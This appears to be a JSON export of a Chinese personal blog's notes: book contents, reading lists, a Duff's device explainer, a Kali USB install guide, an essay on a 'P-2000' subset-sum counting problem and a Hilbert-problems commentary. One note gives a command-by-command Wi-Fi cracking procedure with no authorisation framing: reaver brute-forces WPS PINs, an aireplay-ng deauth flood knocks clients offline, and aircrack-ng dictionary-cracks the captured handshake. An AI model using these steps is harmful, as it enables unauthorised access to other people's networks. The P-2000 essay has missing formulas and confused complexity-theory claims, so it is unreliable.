层次分析法 第九章 插值与拟合 第九章 插值与拟合 第十章 数据的统计描述和分析 第十章 数据的统计描述和分析 第十一章 方差分析 第十一章 方差分析 第十二章 回归分析 第十二章 回归分析 第十三章 微分方程建模 第十三章 微分方程建模 第十四章 稳定状态模型 第十四章 稳定状态模型 第十五章 常微分方程的解法 第十五章 常微分方程的解法 第十六章 差分方程模型 第十六章 差分方程模型 第十七章 马氏链模型 第十七章 马氏链模型 第十八章 变分法模型 第十八章 变分法模型 第十九章 神经网络模型 第十九章 神经网络模型 第二十章 偏微分方程的数值解 第二十章 偏微分方程的数值解 第二十一章 目标规划 第二十一章 目标规划 第二十二章 模糊数学模型 第二十二章 模糊数学模型 第二十三章 现代优化算法 第二十三章 现代优化算法 第二十四章 时间序列模型 第二十四章 时间序列模型 第二十五章 灰色系统理论及其应用 第二十五章 灰色系统理论及其应用 第二十六章 多元分析 第二十六章 多元分析 第二十七章 偏最小二乘回归分析 第二十七章 偏最小二乘回归分析 第二十八章 存贮论 第二十八章 存贮论 第二十九章 经济与金融中的优化问题 第二十九章 经济与金融中的优化问题 第三十章 生产与服务运作管理中的优化问题 第三十章 生产与服务运作管理中的优化问题 第三十一章 支持向量机 第三十一章 支持向量机 第三十二章 作业计划 第三十二章 作业计划 附录一 Matlab 入门 附录一 Matlab 入门 附录二 Matlab 在线性代数中的应用 附录二 Matlab 在线性代数中的应用 附录三 运筹学的 LINGO 软件 附录三 运筹学的 LINGO 软件 附录四 Excel 在统计分析与数量方法中的应用 附录四 Excel 在统计分析与数量方法中的应用 附录五 SPSS 在统计分析中的应用 附录五 SPSS 在统计分析中的应用 参考文献 参考文献"},{"title":"","date":"2019-09-17T01:02:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/pdf/data-mining.html","permalink":"https://blog.mhuig.top/notes/pdf/data-mining","excerpt":"","text":"数据挖掘资料 数据挖掘 PDF 资料 数据挖掘概念与特性 常用分类算法及原理 常用降维算法及原理 常用聚类算法及原理 关联分析及常用算法 常用推荐算法及原理 自然语言处理研究报告 NLP"},{"title":"","date":"2019-09-17T01:02:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/pdf/data-visualization.html","permalink":"https://blog.mhuig.top/notes/pdf/data-visualization","excerpt":"","text":"数据可视化资料 数据可视化 PDF 资料 HTML 的基本标签及语法 CSS 语法规则 网页基本布局方式 自适应设计和响应式设计 js 基本语法汇总 Ajax 基本原理和概念 Ajax 实现与后台服务通信 Echarts 常用功能 api"},{"title":"","date":"2022-05-12T09:37:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/pdf/index.html","permalink":"https://blog.mhuig.top/notes/pdf/","excerpt":".fa-secondary{opacity:.4} PDF","text":".fa-secondary{opacity:.4} PDF PDF .prev-next{ display: none !important; }"},{"title":"Duff's Device","date":"2022-09-02T07:09:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/c/c/duff-device.html","permalink":"https://blog.mhuig.top/notes/c/c/duff-device","excerpt":"","text":"一个循环复制的函数实现: void NormalCopy(char *to,char* from,int count){ do { *to = *from++; } while (--count>0);} 用 Duff's device 方法改写后的代码: void DuffDev(char *to, char *from, int count){ int n = (count + 7) / 8; switch (count % 8) { case 0: do{ *to++ = *from++; case 7: *to++ = *from++; case 6: *to++ = *from++; case 5: *to++ = *from++; case 4: *to++ = *from++; case 3: *to++ = *from++; case 2: *to++ = *from++; case 1: *to++ = *from++; } while (--n > 0); }} 时间要回到 1983 年，那是一个雨过天晴的夏天，在卢卡斯影业上班的程序员 Tom Duff，他是想为了加速一个实时动画程序，实现从一个数组复制数据到一个寄存器这样一个功能 但是达夫洞察到，若在这一过程中将一条 switch 和一个循环相结合，则可展开循环，应用的是 C 语言里面 case 标签的 Fall through 特性，实际就是没有 break 继续执行。 #include <iostream>using namespace std;int main() { int n = 3; switch (n) { case 0: do { cout << \" 0 \" << endl; case 1: cout << \" 1 \" << endl; case 2: cout << \" 2 \" << endl; case 3: cout << \" 3 \" << endl; } while (--n > 0); }} 这段代码的主体还是 do-while 循环，但这个循环的入口点并不一定是在 do 那里，而是 switch(n)，把循环的入口定在了几个 case 标号那里。"},{"title":"拿取路由器 Pin 码","date":"2022-09-09T08:59:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/c/k/pin.html","permalink":"https://blog.mhuig.top/notes/c/k/pin","excerpt":"","text":"拿 pin 码就可以直接跑出 WPA PSK 网卡监控模式airmon-ng start wlan0 扫描wash -i wlan0mon 破 pin 网卡 物理地址 信道reaver -i wlan0mon -b 00:5A:13:40:AA:F8 -c 11 -vv -K 0 直接拿到 pin 了 通过 pin 获得 wifi 密码 网卡 物理地址 pin码reaver -i wlan0mon -b 78:A1:06:B6:2A:42 -p 92975934 附录aircrack-ng - 命令清单 airmon-ng start [网卡] # 开启monitor模式airodump-ng [网卡] # 捕获附件的wifi信息airodump-ng -c [信道] --bssid [路由器MAC] -w [handshake-path] [网卡]aireplay-ng -0 [攻击次数值] -c [某连接设备MAC] -a [路由器MAC] [网卡]aircrack-ng -w [字典-path] [破解的目标握手包-path]airmon-ng stop [网卡] # 退出monitor模式 ifconfig -a 查看网卡airmon-ng start wlan0airodump-ng wlan0mon 监听网络，完了 Ctrl + C 退出 主要参数说明： # BSSID ：路由器、AP的MAC地址# PWR ：信号强度，一看就是越小越强了# Data ：传输的数据大小，大的可能在下载或看视频什么的# CH ：无线信道，要看准# ENC ：加密协议，自WPA2协议爆出重大安全漏洞，现已经出WPA3，坐等更新# ESSID ：这个就不用多说了，wifi名称，有中文可能会出现乱码哈 目标有了，开始对其进行 cap 包的监听和获取，这里要让其中连接的设备重连才能抓包其握手包，可以慢慢等待，也可以使用 deauth 洪水攻击。 airodump-ng -c 9 --bssid 78:11:DC:10:4F:66 -w /root/handshake/ wlan0mon# -w 后面的路径是存放握手包的 另起窗口，我们用 deauth 洪水攻击，让其中的一台设备掉线，它掉线后会自动连接（除非别人在 wifi 设置中勾选掉了自动连接） aireplay-ng -0 20 -a 78:11:DC:10:4F:66 -c 6C:88:14:F2:47:8C wlan0mon# -0 death模式，20为攻击次数，也可以设为0，就是一直攻击# -c 这里就是连接上的设备的MAC地址了，指定它，我们让它稳稳地掉线。 上字典（关键东西），让它慢慢破去吧 root@huan:~#aircrack-ng -w /root/wordlist.txt /root/handshake/-02.cap"},{"title":"制作 Kali 的 U 盘启动盘","date":"2022-09-09T06:09:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/c/k/ukali.html","permalink":"https://blog.mhuig.top/notes/c/k/ukali","excerpt":"","text":"前期准备 一个 U 盘 官方 kali 裸机镜像 https://www.kali.org/get-kali/#kali-bare-metal 笔者这里下载的是 kali-linux-2022.3-installer-amd64.iso 虚拟机配置打开虚拟机。 选择安装镜像文件。 选择客户机操作系统 选择 debian10.x 64 位。 命名虚拟机，名称自定义；位置默认即可。 指定磁盘容量 默认，后面会删除虚拟机磁盘。 准备好虚拟机 编辑虚拟机设置 网络连接选择桥接模式 USB 选最大 3.0 以上 移除硬盘 添加硬盘 》SCSI 》使用物理磁盘 》选择设备（PD1） 》使用单个分区 》选择分区。 开启虚拟机，F2 进入 BIOS，从 CD / DVD 启动，此时将会打开 iso 镜像开始运行。 运行安装选择图形化安装 (Graphical install). 选择语言，我这里选中文简体 选择位置 中国 配置键盘 汉语 探测并挂载安装介质 配置网络 默认 域名空就行继续 设置用户名和密码 对磁盘进行分区 使用整个磁盘并配置加密的 LVM 选择要分区的磁盘继续 将修改写入磁盘并写入 LVM 吗？ 选择是。 擦除数据 设置加密密码句 结束分区设定并将修改写入磁盘 安装基本系统 图形桌面选择 Xface 选择并安装软件。。。。 安装 GREB 启动引擎 选择是 /dev/sda 结束安装进程 物理机运行进 BIOS 安全选项里面关闭 secure boot"},{"title":"必应壁纸","date":"2018-11-25T06:46:00.000Z","updated":"2018-11-25T07:00:00.000Z","comments":true,"path":"notes/c/t/bing.html","permalink":"https://blog.mhuig.top/notes/c/t/bing","excerpt":"","text":"Bing Bing-1 Bing-2 Bing-3 Bing-4 Bing-5 Bing-6 Bing-7"},{"title":"Hitokoto","date":"2018-11-25T07:22:00.000Z","updated":"2018-11-25T08:00:00.000Z","comments":true,"path":"notes/c/t/hitokoto.html","permalink":"https://blog.mhuig.top/notes/c/t/hitokoto","excerpt":"","text":"Hitokoto Soul"},{"title":"","date":"2025-12-09T09:23:00.000Z","updated":"2025-12-09T09:25:00.000Z","comments":true,"path":"notes/P-2000/7.html","permalink":"https://blog.mhuig.top/notes/P-2000/7","excerpt":"","text":"P-2000 问题与子集和问题的计算复杂性关联分析 P-2000 问题与子集和问题的计算复杂性关联分析 问题背景与历史渊源P-2000 问题源于组合数学与数论的交叉领域，其核心是在集合 的所有子集（共 个）中，统计元素和为素数的子集数量。这一问题的研究可追溯至 20 世纪 70 年代计算复杂性理论兴起时期，当时类似的 \"子集和素数计数\" 问题被用于检验算法设计与复杂性归约的边界。与经典的子集和问题（判定是否存在和为目标值的子集）不同，P-2000 问题要求对所有可能的素数目标值进行计数，这使其兼具组合枚举与数论分析的双重挑战。 历史上，类似问题的小规模版本（如集合规模为 20 或 30）曾通过回溯法或动态规划求解，例如采用深度优先搜索 (DFS) 结合素数判断实现解决方案。但当集合规模扩展至 2000 时，直接枚举的复杂度达到 ，这在物理上是不可行的，即使每微秒处理 个子集，所需时间也远超宇宙年龄。因此，P-2000 问题的本质困难推动研究者探索其与计算复杂性理论中经典问题的关联。 核心定义与数学表述子集和素数计数问题的形式化定义对于集合 （此处 ），定义： 子集和函数 ：对任意子集 ，记 素数计数目标 ：计算集合 的基数，其中 表示素数集合 该问题的输入规模为 ，输出为满足条件的子集数量。关键约束包括： 子集和的取值范围：最小和为 0（空集），最大和为 （全集） 素数判断的有效性：需验证区间 内的数是否为素数 计数的完备性：需遍历所有可能子集并统计符合条件的情况 与子集和问题的关系经典子集和问题（SUBSET - SUM）定义为：给定集合 和目标 ，判定是否存在子集 使得 。该问题已被证明是 NP 完全的，即所有 NP 问题可多项式归约到它。P-2000 问题可视为 SUBSET - SUM 的 \"计数变种\" 与 \"多目标变种\" 的结合体，它要求对所有素数目标 计算解的数量，而非仅判定特定 是否存在解。 多种推导方法的详细展开动态规划基础框架状态定义与转移方程设 表示前 个元素构成的子集中和为 的子集数量。初始状态为 （空集）， （ ）。对于第 个元素 ，转移方程为： 若（不选第个元素）若（选或不选第个元素） 复杂度分析时间复杂度: 空间复杂度：通过滚动数组优化可降至 这一方法属于伪多项式算法，因为其复杂度依赖于 而非输入规模的二进制表示长度。对于 ，直接应用此框架仍面临计算资源挑战，需结合优化技术。 素数筛选与计数结合厄拉多塞筛法预处理首先用筛法标记 内的所有素数： 初始化布尔数组 ，所有元素设为 置 对每个 从 2 到 ，若 为 ，则标记所有倍数 为 动态规划与素数计数的融合在 DP 计算完成后，遍历所有素数 并累加 。关键优化包括： 奇偶性剪枝 ：除 2 外所有素数为奇数，因此仅需考虑和为奇数的子集（空集和为 0 需排除） 子集和对称性 ：对于子集 及其补集 ，有 。若 为偶数（此处 是偶数），则素数 与 不可能同时为素数（除 2 与 外），可减少一半计算量 生成函数方法生成函数的构造子集和问题的生成函数为各元素生成函数的乘积： 其中 的系数即为和为 的子集数量。因此 P-2000 问题的答案等于 中所有素数指数项的系数之和。 多项式乘法实现通过快速傅里叶变换 (FFT) 可加速多项式乘法，但由于系数为整数且规模巨大（最高次数 2001000），实际计算中需采用数论变换 (NTT) 或分段乘法。然而，即使采用 FFT， 时的多项式乘法复杂度仍为 ，与动态规划方法相当。 P-2000 问题与子集和问题的归约关系子集和问题到 P-2000 问题的归约定理 ：SUBSET - SUM ≤ₚ P-2000 问题，即子集和问题可多项式时间归约到 P-2000 问题。 证明思路 ： 给定 SUBSET - SUM 实例 （设 ），构造 P-2000 问题的特例集合 ： 令 ，构造 选择足够大的 使得 此时，和为 的子集与和为 的子集存在一一对应（通过添加元素 ） P-2000 问题对 的计数结果中，若 为素数，则包含了原 SUBSET - SUM 问题的解信息 这一归约过程可在多项式时间内完成，因为集合规模的扩展和素数判断均为多项式操作。该归约表明 P-2000 问题至少与 SUBSET - SUM 问题一样难，即 P-2000 问题是 NP 难的。 P-2000 问题到子集和问题的归约不可能性P-2000 问题本质是 #P 类问题（计数问题），而子集和问题是 NP 类（判定问题）。根据 Toda 定理，多项式层级 ，即 #P 类问题至少与 PH 一样难。若 P-2000 问题可归约到子集和问题，则意味着 ，这将与现有复杂度理论矛盾（除非 ）。 从集合论角度看，根据 ZF 公理系统中的幂集公理，非确定型图灵机 (NTM) 的计算能力相当于确定型图灵机 (DTM) 的幂集。由于 P-2000 问题需要计数所有素数目标的子集数量（相当于枚举幂集中的特定元素），其复杂度严格高于仅需判定存在性的 SUBSET - SUM 问题。 实际计算与优化策略动态规划的优化实现空间压缩采用一维数组 ，按从大到小顺序更新： dp = [0] * (S_max + 1)dp[0] = 1for i in range(1, N+1): for s in range(S_max, i-1, -1): dp[s] += dp[s - i] dp[s] %= MOD // 如需模运算防止溢出 这一实现与 01 背包问题的空间优化方法一致，将二维数组压缩为一维数组，空间复杂度从 降至 。 素数判断优化使用 Miller-Rabin 素性测试代替厄拉多塞筛法，可处理更大范围内的素数判断，尤其当 超过 时更高效。对于 ，预先生成素数表仍是可行的，但需注意内存占用（约 2MB）。 复杂度下界分析根据动态规划复杂度分析，P-2000 问题的时间复杂度为 操作，这超出了现代计算机的常规处理能力（约 操作 / 秒）。因此，实际求解需结合启发式方法，如： 分段计算 ：将集合分为多个子集，分别计算子集和分布，再通过卷积合并 蒙特卡洛采样 ：随机抽取部分子集估计素数和的比例 数学近似 ：利用素数定理估计区间内素数密度，结合中心极限定理近似子集和分布 结论P-2000 问题作为子集和理论与素数分布的交叉课题，展现了组合计数问题的深刻复杂性。通过动态规划与素数筛选的结合，我们建立了问题的求解框架，其时间复杂度为 。复杂性分析表明，经典子集和问题可多项式归约到 P-2000 问题，但反之不成立，这一结果强化了 #P 类问题与 NP 类问题的难度分野。"},{"title":"","date":"2026-04-19T03:07:00.000Z","updated":"2026-05-06T00:10:00.000Z","comments":true,"path":"notes/person/1.html","permalink":"https://blog.mhuig.top/notes/person/1","excerpt":"","text":"Hilbert 希尔伯特 23 问题 希尔伯特在 1900 年巴黎举行的第二届国际数学家大会上做了一个重要的演讲，他在综合了十九世纪数学发展的基础上，提出了二十三个重要的问题。 \"A mathematical theory is not to be considered complete until you have made it so clear that you can explain it to the first man whom you meet on the street.\" - David Hilbert 这些问题，富有前瞻性，影响了数学在二十世纪前五十年的发展。 直到今天，一百二十多年后，我们虽然对问题已经有了不少深入的认识，但是还没有全面解答，值得回顾并向前眺望。 序现在先将他原文的序摘录如下（除个别段落外，中文翻译参考了《数学问题》，希尔伯特著，李文林、袁向东译），稍作讨论。 我们当中有谁不想揭开未来的面纱，看一看在未来的几个世纪里这门科学发展的前景和奥秘呢？下一代的主要数学思潮将朝着什么样的目标奋斗？在广阔而丰富的数学思想领域里，新世纪将会带来什么样的新方法和新成果？ 历史教导我们，科学的发展具有连续性。我们知道，每个时代都有自己的问题，这些问题后来要么得以解决，要么因无所裨益而被抛弃之并代之以新的问题。如果我们想对数学知识在不久的将来可能的发展有一个概念，我们就必须回顾下当今科学提出的期望在将来能够解决的问题。现在，在世纪更迭之际，我认为非常适合于此次会议上就这些问题进行一番回顾。因为，一个伟大时代的结束，不仅让我们追溯过去，而且也将我们的思想引向未知的将来。 不可否认，这些问题在前沿的基础科学领域里起到了重要的作用，以及在一些研究者的个人工作中也扮演了重要角色。只要一门学科能提出大量的问题，它就能充满着生命力；而问题的缺乏则预示着这门学科独立发展的中止或衰亡。 正如人类的每一项事业都在追求某些确定目标一样，数学研究也需要它自身的问题。正是通过解决这些问题，研究者发现了新方法和新观点，获得了更广阔和更自由的境界。 想要预先正确判断一个问题的价值是困难的，且常常是不可能的，因为最终的判断取决于科学从这个问题中所得到的获益。虽然如此，我们仍然想问，是否存在一般的准则，可用于鉴别出一个数学问题是否是个好问题？ 一位法国老数学家曾说过：“一个数学理论，只有当你能把它向你在大街上遇到的第一个人解释得很清楚时，它才算完美。” 我认为一个数学理论，尤其是一个数学问题，如果它是完美的话，应该清晰易懂。因为清晰易懂的东西能吸引人，复杂的东西却使人反感。 此外，一个数学问题应该是困难的，这样才能吸引我们。但又不能是难到无法解决的，以免我们的努力付之东流。对我们来说，它应该是通向隐藏真相的迷途指南，并最终在成功解决时为我们带来喜悦。 过去几个世纪的数学家致力于解决困难的特殊问题。他们知道这些问题的价值。比如约翰・伯努利提出的 “最速下降线问题”。伯努利在关于这个问题的公开声明中解释说：经验告诉我们，崇高的思想只不过是通过把困难且有用的问题摆在他们面前，来争取科学的进步。因此，他希望效仿梅森（M. Mersenne）、帕斯卡（B. Pascal）、费马（Fermat）、维维亚尼（V. Viviani）和其他人的做法，向他那个时代的分析领域中的杰出人士提出一个问题，作为检验他们方法价值的试金石，来赢得数学界的感谢。变分法起源于伯努利问题和与之类似的问题。 众所周知，费马曾断言，丢番图方程： ( 为整数) 当 时是无整数解的，除了几个特殊的情形外。这是个非常重要的例子，即试图证明这么一个非常特殊且显然不重要的问题，却给数学带来了很大的发展。 在费马问题的激励下，库默尔（E.E.Kummer）引入了理想数，并发现了循环域里的数可分解为理想素因子的唯一分解定理。今天，戴德金（J.W.R.Dedekind）和克罗内克（L.Kronecker）将这个定理推广到任何代数域上。这一定理是现代数论的核心，其意义远远超出了数论的范围，而深入了代数和函数论的领域。 在其它的研究领域，我想提下三体问题。庞加莱着手这个难题并近乎解决了它，使得他得以把他卓有成效的方法和影响深远的原理引入到天体力学中，并在今天的天文学实践中得到应用。 最后提到的这两个问题，费马问题和三体问题，在我们看来，几乎像相反的两个极端，前者是纯粹理性的自由发现，属于抽象数论的范畴，后者是天文学提供给我们的，是理解自然界最简单的基本现象所必需的。 同样的特殊问题也经常出现在最不同的数学分支中。例如，最短路径问题在几何基础中、在曲面论中、在力学中、在变分学中都起着重要的作用。克莱因（F. Klein）在他关于二十面体的著作中，对正多面体问题在初等几何、群论、方程论和线性微分方程中的意义，描述得多么令人信服！ 我还想提下魏尔斯特拉斯（K. Weierstrass）来阐明数学问题的重要性。在他科学生涯的开始，魏尔斯特拉斯就发现了一个与雅克比的反演问题同样重要的问题。他说这是他的幸运。 现在我们已经认识到数学问题的普遍重要性，让我们来讨论一下这个问题： 数学问题的来源是什么？ 毫无疑问，数学各个分支中最古老的问题都源于经验和自然界的现象。即便是整数的运算规则，在人类文明的早期阶段也必须以这种方式被发现，就像今天的孩子也得通过经验方法学习它们。几何的最初问题也是如此，这些问题是古代遗留给我们的，如倍立方问题、化圆为方问题。同样的还有在求解方程、曲线论和微积分、变分法、傅里叶级数、位势理论中那些古老的问题，还有涉及力学、天文学和物理学的大量问题。 但是，随着这部分数学的进一步发展，受这些问题的成功解答的鼓舞，人类开始意识到数学的独立性。它开始不断演化，幸运地得以通过逻辑组合、概括化、专门化的方式分析和综合新的思想、价值丰富的问题，然后作为真正的提问者出现。由此产生了素数问题和数论里的其他问题，如伽罗瓦的方程理论、代数不变量理论、阿贝尔函数理论和自守函数理论。事实上，现代算术和函数论中几乎所有的好问题都是这样产生的。 与此同时，当纯粹理性的创造力发挥作用时，外部世界又开始发挥作用，从实际经验中向我们提出新问题，开辟了数学的新分支。当我们试图征服这些新的知识领域，进入纯思维的领域时，我们往往能找到旧的未解决问题的答案，从而同时最成功地推进旧的理论。 我们还得简单地讨论一下，对于一个数学问题的解答，应该提出什么样的一般要求。首先，我要说的是：它需要通过有限的步骤，在有限多个的假设基础上，建立正确的解决方案。这些假设在问题的表述中是隐含的，而且必须总是精确地表述出来。这种通过有限步骤来进行逻辑推理的要求，就是推理的严谨性的要求。事实上，这在数学中已成为众所周知的严谨性的要求，是与我们的哲学必然性相一致的；另一方面，只有满足了这一要求，问题蕴含的思想和提示才能充分发挥作用。一个新问题，尤其是来自外部经验世界的问题，就像一根幼嫩的新枝，只有按照严格的园艺学规则，仔细地嫁接到我们数学科学的已有成果的老茎上，才能茁壮成长并结出果实。 此外，把证明的严谨性与简单性对立起来是错误的。大量的例子证明，严谨的方法同时也更简单、更容易理解。对严谨性的努力迫使我们找到更简单的证明方法。这导致严谨性的方法比不那么严谨的旧方法更有能力发展。因此，代数曲线论经历了相当程度的简化，并通过更加严格的函数论方法和先进手段的引入而达到更大的统一。进一步地，对幂级数可以应用四则算术运算，以及进行逐项微分和逐项积分，这个事实的证明和通过这个证明对幂级数用处的认识，极大促进了分析的简化，特别是消去法和微分方程理论，以及这些理论所要求的存在性证明的简化。但是，我的演讲中最引人注目的例子是变分法。在某些极为复杂的计算中，需要处理定积分的一阶和二阶变分，而之前数学家所采用的方法缺乏严格性。魏尔斯特拉斯给我们指明了一条通向明确建立变分基础的道路。我将在我的演讲结束时简要地展示一下，如何通过简单的二重积分立即使变分法得到惊人的简化。即在证明出现最大和最小值的充要条件时，二阶变分的计算（实际上包括某些与一阶变分有关的乏味的推理）在某种程度上可完全摒弃，也就是可以去掉对变分要求其中的函数微商变化很小的限制。 一方面，我坚持证明的严格性是完美解决问题的必要条件，另一方面，我要反对这样一种观点，即只有分析的概念，甚至仅仅是算术的概念，才能得到完全严格的处理。我认为这种观点是完全错误的，这种观点有时也被一些知名人士所推崇。这种对严格性要求的片面解释，将很快导致对一切源于几何、力学和物理中的概念的忽略，从而堵塞来自外界新材料的流动，最后的结果必然是拒绝接受连续统和无理数的思想。但是对数学科学至关重要的一根神经，将被几何和数学物理的灭绝所切断！相反我认为无论从认识论或几何角度，或从自然和物理科学理论角度，都会对数学提出这样的任务：研究构成这些概念的原则，从而把它们建立在一个简单而完备的公理系统之上，新概念的准确性及其适用性应当不如那些旧的算术概念。 新概念必对应新符号。我们选择这些概念的方式，是为了提醒我们那些促成新概念形成的现象。因此几何图形是空间直觉的符号或助记符号，被所有数学家如此使用。谁不总是把三点在一条直线上的图像作为 “中间” 这个概念的几何图像与不等式 一起使用呢？当需要严格地证明一个关于函数连续性或聚点存在的困难定理时，谁会不使用闭区间套和闭矩形套呢？谁能完全不用三角形、带圆心的圆、由三根互相垂直的轴构成的座标架？或者谁会放弃在微分几何、在微分方程理论、在变分法基础和其他纯数学科学分支中扮演如此重要角色的向量场图示法或曲线、曲面族极其包络的图形呢？ 算术符号是文字化的图形，几何图形是图像化的公式；任何数学家都不可能不使用这些图像化的公式，就像在数学演算中不可能不使用括号或其他分析符号一样。 使用几何符号作为一种严格的证明手段，其前提是对这些图形所依据的公理具有确切的了解和完全的掌握；为了把这些几何图形纳入数学符号的总宝库，必须对它们的概念内容进行严格的公理化研究。就像两个数相加一样，一个数必须以正确的顺序放在另一个数的下面，这样就只需要演算规则，即因此，几何符号的使用是由几何概念及其组合的公理决定的。 几何思想和算术思想之间的一致之处还表现在，我们在算术思想中，并不像在几何讨论中那样，习惯性地将推理链条追溯到最初的公理。相反，我们运用一种快速的、无意识的、不确定的组合，尤其是在第一次解决问题时，相信算术符号的行为具有某种算术上的感觉，这种感觉在算术上和在几何上的想象一样，我们可以省掉。作为严格运用几何思想和符号的算术理论的一个例子，我可以提到闵可夫斯基的名著《数的几何学》（Geometrie Zahlen, 1896）。 关于数学问题可能带来的困难，以及克服这些困难的方法，可以在这里加以说明。 如果我们不能成功地解决一道数学问题，其原因往往在于我们没有认识到一个更普遍的观点，即我们面前的问题只是一系列相关问题中的一个环节。在找到这个环节后，不仅这个问题更容易处理，而且我们还掌握了一种适用于其它相关问题的方法。柯西的复路径积分和库默尔在数论中的理想可以作为例子。这种寻找一般方法的手段当然是最切实可行和最确定的；因为那些在心里没有明确问题的情形下寻求方法的人，多半会是徒劳的。 在处理数学问题时，我认为特殊化比一般化更重要。也许在大多数我们寻求问题的答案是徒劳无功的，失败的原因在于，比现在的问题更简单、更容易的问题根本没有解决，或者还没有完全解决。那么，一切都取决于找出这些更容易的问题，并通过尽可能完美的手段和能够概括的概念来解决这些问题。这个规则是克服数学困难的最重要的规则之一，在我看来它几乎总是被使用，尽管可能是无意识的。 有时，我们在不充分的假设下或在不正确的意义上寻求解决办法，但由于这个原因，我们没有成功。于是就出现了一个新问题：在给定的假设下，或在设想的意义上，证明解决问题是不可能的。这种不可能的证明是由古人提出的，例如，他们指出等腰直角三角形的斜边与边长之比是无理数。在以后的数学中，证明某些解不存在的问题起着重要的作用。以这种方式，那些老的和困难的问题（如平行公理的证明、化圆为方、以及五次方程根式解的问题）终于找到了完全令人满意和严格的解决办法，尽管这和原先设想的结果并不相同。可能正是这个重要的事实以及其他哲学上的原因导致了这种信念（这是每个数学家都认同的，但至今还没有人能证明的），即每个明确的数学问题都必须能够得到精确的解答，或者是得到问题的实际答案，或者是证明它的解是不可能的，从而导致所有尝试的必然失败。以任何尚未解决的问题为例，如欧拉 — 马歇罗尼常数 是否是有理数的问题，及 形式的素数是否有有限多个的问题。无论这些问题在我们看来多么不可接近，无论我们在它们面前多么无能为力，我们仍然坚信，它们的解决是一个有限步骤的纯逻辑推理。 每一个问题都是可以解决的，这是数学思维独有的特性吗？还是说，这可能是思维本质所固有的普遍规律，即所有问题都必须是可以回答的？因为在其他科学领域，人们也会遇到一些古老的问题，这些问题通过证明它们不可能解决，从而以一种对科学最令人满意和最有用的方式得到了解决。 我以永动机的问题为例。在发现建造永动机的工作徒劳无功以后，人们开始研究，如果永动机是不可能建造的，则自然力之间必须存在的关系。这个反问题导致了能量守恒定律的发现，它再次解释了永动机的不可能性。 每个数学问题都是可以解决的，这种信念对工作者是一种强大的激励。我们听到了内心永恒的召唤：问题就在这里，去找到它的答案！你可以用纯粹的理性找到它，因为在数学中没有无知之人（ignorabimus）。 数学中的问题是无穷无尽的，一旦一个问题解决了，无数其他问题就会取而代之。请允许我在下面试探性地提一些具体而明确的问题，这些问题来自于数学的各个分支，讨论这些问题可以促进科学的发展。 让我们看看分析和几何学的原理。在我看来，上个世纪在这一领域最具启发性和引人注目的成就是柯西、波尔查诺和康托著作中连续统概念的算术表述，以及高斯、鲍耶和罗巴切夫斯基对非欧几何的发现。因此，我首先把诸位的注意力引向这些领域里的一些问题。 1、康托的连续统基数问题两个系统，即两个通常的实数集或点集，被认为是（在康托的意义下）等价的或是有相同的基数，如果它们之间可以建立一种关系，使得一个集合中每个数都对应且只对应另一个集合中一个确定的数。康托对这种集合的研究促使他提出了一个似乎合理的定理，虽然经过不懈的努力，还没有人能成功证明这个定理。该定理是说： 每个由无穷多实数组成的系统，即每个（无穷）数集（或点集），或者等价于自然数集，或者等价于全体实数集，从而等价于连续统即一条直线上点的全体；因此，就等价关系而言，只有两种（无穷）数集，可数集和连续统。由这条定理立即得到结论：连续统所具有的基数，紧接在可数集基数之后。所以，这个定理的证明将在可数集与连续统之间建立一个新的桥梁。 康托另一个值得重视的命题，和上述定理的关系极为密切，而且或许会给出这个定理的新证明。任意实数系统被认为是有序的，如果对系统中任意两个数，可以断言哪个在前哪个在后，同时这个判别法具有如下性质： 若 在 之前， 在 之前，则必有 在 之前。 一个系统中数的自然排列被定义为：按照这种排列，较小的数恒在较大的数之前。但易知，一系统的数可以有无限多种不同的方式进行排列。 假设数已按照某一确定的方式排列，同时从这些数中挑选出一个特殊的数系，即选出一个部分系统或部分集合。可以证明，这个部分系统也是有序的。康托考虑了一种特殊的有序集（他称之为良序集）：不仅是集合本身，而且每个部分集合都有一个首数。自然数集（按其自然顺序）是一个良序集，但是实数的系统即连续统（按其自然顺序）显然不是良序集 —— 如果把直线上除去起点的线段看作是部分集合的话，那么它没有首元素。 现在我提出的问题是：实数全体是否可以按照其他方式排列，使得每个部分集合都有一个首元素，也就是说，连续统是否能够被看作为良序集 —— 康托认为这个问题的答案是肯定的。 我感到急需对康托这一值得注意的命题给出直接的证明，这种证明多半是具体给出一种排列，使得在每个部分系统中都有一个首元素。 评论： 本问题是问：在实数这个集合中，任何一个无穷子集必须要和自然数集或是实数集本身有一对一的对应。 本问题又被称为连续统假设（continuum hypothesis）。这些问题由康托（Georg Ferdinand Ludwig Philipp Cantor, 1845-1918）在十九世纪七十年代开始研究，很多数学家企图解决，直到哥德尔（Kurt Friedrich Gödel, 1906-1978）在 1940 年代发现，并由科恩（Paul Joseph Cohen, 1934-2007）在 1960 年代完成：连续统假设不能从标准公理被证明为真或假。 连续统假设（continuum hypothesis）断言实数集的基数 是最小的不可数基数。等价地， 其中 是自然数集的基数。广义连续统假设（generalized continuum hypothesis）则断言对于每个无穷基数 ，有 即对于每个无穷基数 ，第二个基数应该是具有相同基数 的集合的所有集合的集合。 1938 年，哥德尔证明了如果集合论中的标准策梅洛（Ernst Friedrich Ferdinand Zermelo, 1871-1953）- 弗兰克尔（Abraham Fraenkel, 1891-1965）公理是一致的，那么这些公理推导不出广义连续统假设。 哥德尔猜测形式选择公理（axiom of choice）不足以证明连续统假设，因此连续统假设在策梅洛 - 弗兰克尔理论中是形式上不可判定的。 1963 年，科恩证明了这一点。他的证明开创了集合论的一个活跃时期。科恩的力迫法（method of forcing）被应用于每一个可以想象的集合论问题中，并且在策梅洛 - 弗兰克尔理论中证明了它们中的许多是不可判定的。 自科恩的工作以来，人们对一个新的公理进行了大量的研究：大基数公理（large cardinal axiom）—— 它断言存在具有某些性质 的基数，使得我们可以证明只有非常大的基数才能具有性质 。 2、算术公理的相容性在研究一门科学的基础时，我们必须建立一套公理系统，它包含了对这门科学基本概念间所存在的关系的确定且完备的描述。这样建立起来的公理同时也是这些基本概念的定义。我们正在检验其基础的科学领域里的任意一个命题，除非它能够从这些公理通过有限步骤的逻辑推理而得到，否则就不能认为它是正确的。 